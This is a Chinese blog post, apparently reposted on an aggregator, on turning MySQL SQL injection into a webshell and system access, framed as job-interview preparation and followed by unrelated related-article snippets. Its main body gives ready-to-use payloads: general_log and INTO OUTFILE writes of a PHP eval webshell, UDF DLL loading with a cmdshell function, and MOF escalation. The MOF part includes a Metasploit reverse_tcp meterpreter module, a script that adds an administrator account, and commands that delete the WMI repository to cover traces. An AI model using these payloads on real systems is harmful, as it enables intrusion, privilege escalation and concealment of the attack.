SQL注入Getshell的奇思妙想(下)

news2024/11/15 12:14:55

前言

由于笔者发现大量的hr面试官都喜欢从SQL注入开始询问,所以留心了一下关于SQL注入的问题的频率。结果非常amazing啊!不出意外的是–os-
shell名列榜首。
但是啊由于我们不能被面试官所引导,这样太被动啦!我们应该引导hr问我们擅长的方向,扬长避短;所以我们可以继续和他们讨论除了日志和–os-
shell外,还有UDF提权与MOF提权。这个时候就体现了下面这篇文章的重要性!

Getshell之堆叠注入

堆叠注入写shell(日志注入步骤)

  • 堆注入主要是利用到了Mysql的日志来进行写shell,payload如下:set global general_log = "ON";set global general_log_file='C:/wamp64/www/ma.php';select '<?php eval($_POST[cmd]);?>';
  • 然后用冰蝎连接,就可以进行攻击

补充 :UNC路径(UNC路径就是类似\softer这样的形式的网络路径;它符合 \servername\sharename 格式,其中
servername 是服务器名,sharename
是共享资源的名称)UNC路径是concat函数内的字符串,代表去访问一个域名下的abc文件夹,此处查询的域名属于dnslog的子域名,在访问的过程中,解析记录会被保存;
又因为load_file()函数访问的是文件,所以域名后面需要添加/abc

联合查询写shell

  1. 当可以使用联合查询时,通过构造payload:

union select 1,'<?php eval($_POST[123]);?>' INTO OUTFILE '/var/www/html/test.php' #

union select 1,'<?php eval($_POST[123]);?>' INTO dumpfile '/var/www/html/test.php'#

  1. 关于 outfiledumpfile 的区别:
outfile后面不能接0x开头或者char转换以后的路径,只能是单引号路径,但是值的部分可以时16进制

在使用outfile时,文件中一行的末尾会自动换行,且可以导出全部数据,同时如果文本中存在\n等字符,会自动转义成\n,也就是会多加一个\

outfile函数可以导出多行,而dumpfile只能导出一行数据;outfile函数在将数据写到文件里时有特殊的格式转换,而dumpfile则保持原数据格式

而使用dumpfile时,一行的末尾不会换行且只能导出部分数据(这里比较数据比较少,没有体现出来);但dumpfile不会自动对文件内容进行转义,而是原意写入(这就是为什么我们平时UDF提权时使用dumpfile来写入的原因)

UDF提权


漏洞原理

自定义函数,是数据库功能的一种扩展。用户通过自定义函数可以实现在 MySQL

中无法方便实现的功能,其添加的新函数都可以在SQL语句中调用,就像调用本机函数 version() 等方便。

补充 : 如果是 MySQL >= 5.1 的版本,必须把 UDF 的动态链接库文件放置于 MySQL 安装目录下的 lib\plugin
文件夹下文件夹下才能创建自定义函数。

利用条件

1.sqlmap的UDF动态链接库文件位置:sqlmap根目录/data/udf/mysql

2.那么动态链接库文件去哪里找呢?实际上我们常用的工具 sqlmap 和 Metasploit 里面都自带了对应系统的动态链接库文件。

3.sqlmap还自带了动态链接库,攻击者为了防止被误杀都经过编码处理过,不能被直接使用。不过可以利用 sqlmap 自带的解码工具cloak.py
来解码使用,cloak.py 的位置为:sqlmap根目录/extra/cloak/cloak.py

解码方法如下:

解码32位的windows动态链接库:python3 cloak.py -d -i lib_mysqludf_sys.dll_ -o
lib_mysqludf_sys_32.dll

其他linux和windows动态链接库解码类似;

或者直接使用metasploit自带的动态链接库,无需解码

构造payload

create table udfeval(shellcode longblob);    //创建表

insert into udfeval values(load_file('F:/udf.dll'));  //在表里插入信息

select shellcode from udfeval into dumpfile 'C:\\windows\udf.dll';  //将表里面的信息导出

create function cmdshell returns string soname 'D:/phpstudy/sqlibs/MySQL5.7.26/lib/plugin/udf.dll';

select * from func; //在所有表中查找func

select cmdshell('whoami'); //进行whoami命令执行

补充

  • 原生的php方法是不支持的,得使用使用 PDO,mysqli_multi_query()才可能存在堆注入
  • 如果数据库使用了phpmyadmin来管理数据库,且存在弱口令,我们也可以使用这种方法来通过phpmyadmin来执行上述命令达到写shell的目的
  • general log 指的是日志保存状态,一共有两个值(ON/OFF)ON代表开启 OFF代表关闭。使用SHOW VARIABLES LIKE 'general%'命令来查看默认的log位置,实际渗透中建议将该值保存下来,便于利用结束时将该字段还原

优缺点

我使用sqlmap写webshell,知道了网站的根目录,还是写不进去。就是由于secure_file_priv的值为NULL。那怎么知道这个值是什么呢?答:–sql-
shell;输入sql语句select @@secure_file_priv提示为NULL;所以就会出现,如下的错误

MOF提权


漏洞原理

M0F提权原理
它就是利用了c:/windows/system32/wbem/mof/目录下的nullevt.mof文件,每分钟都会在一个特定的时间去执行一次的特性,来写入我们的cmd命令使其被带入执行(有点像条件竞争)

利用条件

Win sever 03以后无法使用

Mysql启动身份具有权限去读写c:/windows/system32/wbem/mof目录

secure-file-priv参数不为null

构造攻击Payload

MOF文件每五秒就会执行,而且是系统权限,我们通过mysql使用load_file
将文件写入/wbme/mof,然后系统每隔五秒就会执行一次我们上传的MOF。MOF当中有一段是vbs脚本,我们可以通过控制这段vbs脚本的内容让系统执行命令,进行提权。

 **MSF脚本自动化**  
 use exploit/windows/mysql/mysql_mof

# 设置payload
set payload windows/meterpreter/reverse_tcp

# 设置目标 MySQL 的基础信息
set rhosts 192.168.127.132
set username root
set password root
run

通过查找发现Payload:var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user hacker P@ssw0rd /add\")\nWSH.run(\"net.exe localgroup administrators hacker /add\")

 **手工注入**  
 select load_file('D:/test.mof')into dumpfile "C:/windows/system32/wbem/mof/nullevt.mof";

优缺点

第一:版本问题,导致攻击的选择范围较小

第二:需要清理痕迹较麻烦(代码如下图所示)

net stop winmgmt

rmdir /s /q C:\Windows\system32\wbem\Repository\

del C:\Windows\system32\wbem\mof\good\test.mof /F /Snet user hacker /delete

net start winmgmt

最后

对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。

同时每个成长路线对应的板块都有配套的视频提供:


当然除了有配套的视频,同时也为大家整理了各种文档和书籍资料&工具,并且已经帮大家分好类了。

因篇幅有限,仅展示部分资料,有需要的小伙伴,可以【扫下方二维码】免费领取:

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/343325.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

某财税集团:使用进步的技术,对业务降本提效

文 / OceanBase解决方案架构师 韩冰 该企业成立于 1999 年&#xff0c;是国内领先的财税信息化综合服务提供商&#xff0c;主要为税务机关提供税务系统开发与运维&#xff0c;为纳税企业和财税中介提供互联网财税综合服务。 经过多年发展&#xff0c;为了更好地支撑用户业务需…

10- SVM支持向量机 (SVC) (机器学习)

支持向量机&#xff08;support vector machines,SVM&#xff09;是一种二分类算法&#xff0c;它的目的是寻找一个超平面来对样本进行分割&#xff0c;分割的原则是间隔最大化&#xff0c;如果对应的样本特征少&#xff0c;一个普通的 SVM 就是一条线将样本分隔开&#xff0c;…

小红书穿搭博主推广费用是多少?

小红书作为一个种草属性非常强的平台&#xff0c;商业价值是有目共睹的。很多爱美的女性都会在小红书上被种草某个商品&#xff0c;所以很多服装品牌都会在小红书上布局推广。 穿搭作为小红书的顶梁柱类目&#xff0c;刷小红书就能总是看到好看的穿搭博主分享美美的衣服&#…

【优化】Nginx设置浏览器缓存

【优化】Nginx设置浏览器缓存 设置缓存 d代表天 h代表小时 -1代表不设置缓存 location ^~ / {root /www/wwwroot/com;index index.html index.htm;location ~ .*\.(gif|jpg|jpeg|png|bmp|swf|svg)${expires 30d;error_log /dev/null;access_log /dev/null;}if ($…

【成为架构师课程系列】怎样进行概念架构(Conceptual Architecture)?

目录 前言 什么是概念架构 概念架构阶段的3个步骤 初步设计 高层分割 分层式概念服务架构 Layer:逻辑层 Tier: 物理层 按通用性分层 技术堆叠 考虑非功能需求 【禅与计算机程序设计艺术&#xff1a;更多阅读】 前言 胜兵先胜而后求战&#xff0c;败兵先站而后求胜。…

HTTPSHandler SSL Error

我在服务器ubuntu中&#xff0c;尝试使用pip3&#xff0c;但是出现下面的报错 ImportError: cannot import name HTTPSHandler 通过查询资料&#xff0c;发现报错的原因是&#xff0c;该pip3.5中没有安装好openssl. 我尝试在python3.5中使用import ssl, 确实是会显示下面的报错…

推广传单制作工具

临近节日如何制作推广活动呢&#xff1f;没有素材制作满减活动宣传单怎么办&#xff1f;小编教你如何使用在线设计工具乔拓云&#xff0c;轻松设计商品的专属满减活动宣传单&#xff0c;不仅设计简单&#xff0c;还能自动生成活动分享链接&#xff0c;只需跟着小编下面的设计步…

动态规划,这将是你见过最详细的讲解

文章目录一、为什么要讲动态规划呢&#xff1f;二、什么是动态规划三、感受一下递归算法、备忘录算法、动态规划递归算法带备忘录的递归解法&#xff08;自定向下&#xff09;自底向上的动态规划四、动态规划的解题套路1. 穷举分析2. 确定边界3. 确定最优子结构4. 写出状态转移…

sql 优化

sql 优化1. mysql 基础架构1.1 mysql 的组成2. mysql 存储引擎2.1MyISAM2.2 InnoDB2.3 MyISAM 和 InnoDB 的对比3. mysql 索引3.1 Hash 索引3.2 B-Tree 索引3.3 BTree 索引3.4 R-Tree 索引3.5 Full-Text 索引4. sql 优化4.1 避免 select *4.2 避免在where子句中使用or来连接条件…

PTA L1-046 整除光棍(详解)

前言&#xff1a;内容包括四大模块&#xff1a;题目&#xff0c;代码实现&#xff0c;大致思路&#xff0c;代码解读 题目&#xff1a; 这里所谓的“光棍”&#xff0c;并不是指单身汪啦~ 说的是全部由1组成的数字&#xff0c;比如1、11、111、1111等。传说任何一个光棍都能被…

【数据库】sql函数和多表关联查询

目录 一&#xff0c;SQL函数 1&#xff0c;聚合函数 1&#xff0c; count函数 2&#xff0c; AVG函数 3&#xff0c; SUM函数 4&#xff0c; MAX函数 5&#xff0c; MIN函数 6&#xff0c;数据分组——GROUP BY 7&#xff0c;限定组的结果&#xff0c;HAVING 8&#x…

在线支付系列【23】支付宝开放平台产品介绍

有道无术&#xff0c;术尚可求&#xff0c;有术无道&#xff0c;止于术。 文章目录前言支付产品App 支付手机网站支付电脑网站支付新当面资金授权当面付营销产品营销活动送红包会员产品App 支付宝登录人脸认证信用产品芝麻 GO芝麻先享芝麻免押芝麻工作证安全产品交易安全防护其…

Centos7上Docker安装

文章目录1.Docker常识2.安装Docker1.卸载旧版本Docker2.安装Docker3.启动Docker4.配置镜像加速前天开学啦~所以可以回来继续卷了哈哈哈&#xff0c;放假在家效率不高&#xff0c;在学校事情也少点(^_−)☆昨天和今天学了学Docker相关的知识&#xff0c;也算是简单了解了下&…

设计模式C++实现12:抽象工厂模式

参考大话设计模式&#xff1b; 详细内容参见大话设计模式一书第十五章&#xff0c;该书使用C#实现&#xff0c;本实验通过C语言实现。 抽象工厂模式&#xff08;Abstract Factory&#xff09;&#xff0c;提供一个创建一系列相关或相互依赖对象的接口&#xff0c;而无需指定它们…

Python之字符串精讲(下)

前言 今天继续讲解字符串下半部分&#xff0c;内容包括字符串的检索、大小写转换、去除字符串中空格和特殊字符。 一、检索字符串 在Python中&#xff0c;字符串对象提供了很多用于字符串查找的方法&#xff0c;主要给大家介绍以下几种方法。 1. count() 方法 count() 方法…

CHAPTER 5 Jenkins SonarQube

Jenkins & SonarQube5.1 安装SonarQube1. 下载镜像2. 导出到其他服务器3. 准备工作4. docker-compose文件5. 启动容器5.2 登录SonarQube1.登录2. 安装中文语言插件3. 安装其他插件5.3 部署扫描器sonar-scanner1. 部署sonar-scanner2. 新建项目3. 扫描代码4. 查看报告5.4 Je…

Prometheus 的介绍和安装

介绍 Prometheus 是一个开源的监控和报警系统,最初由SoundCloud于2012年创建,随着越来越多的公司采用Prometheus以及非常活跃的社区,Prometheus于2016年加入云原生基金会,成为Kubernetes之后的第二个托管项目,并于2018年毕业。 特点 通过PromQL来对基于指标名称和键值对…

独立产品灵感周刊 DecoHack #047 - 安卓手机上最有用的APP

本周刊记录有趣好玩的独立产品设计开发相关内容&#xff0c;每周发布&#xff0c;往期内容同样精彩&#xff0c;感兴趣的伙伴可以点击订阅我的周刊。为保证每期都能收到&#xff0c;建议邮件订阅。欢迎通过 Twitter 私信推荐或投稿。&#x1f4bb; 产品推荐 1. Bouncer Tempor…

算法训练营 day45 动态规划 0-1背包理论 分割等和子集

算法训练营 day45 动态规划 0-1背包理论 分割等和子集 0-1背包理论 有n件物品和一个最多能背重量为w 的背包。第i件物品的重量是weight[i]&#xff0c;得到的价值是value[i] 。每件物品只能用一次&#xff0c;求解将哪些物品装入背包里物品价值总和最大。 在下面的讲解中&…

python 使用 thrift 教程

一、前言&#xff1a;   Thrift 是一种接口描述语言和二进制通信协议。以前也没接触过&#xff0c;最近有个项目需要建立自动化测试&#xff0c;这个项目之间的微服务都是通过 Thrift 进行通信的&#xff0c;然后写自动化脚本之前研究了一下。 需要定义一个xxx.thrift的文件&…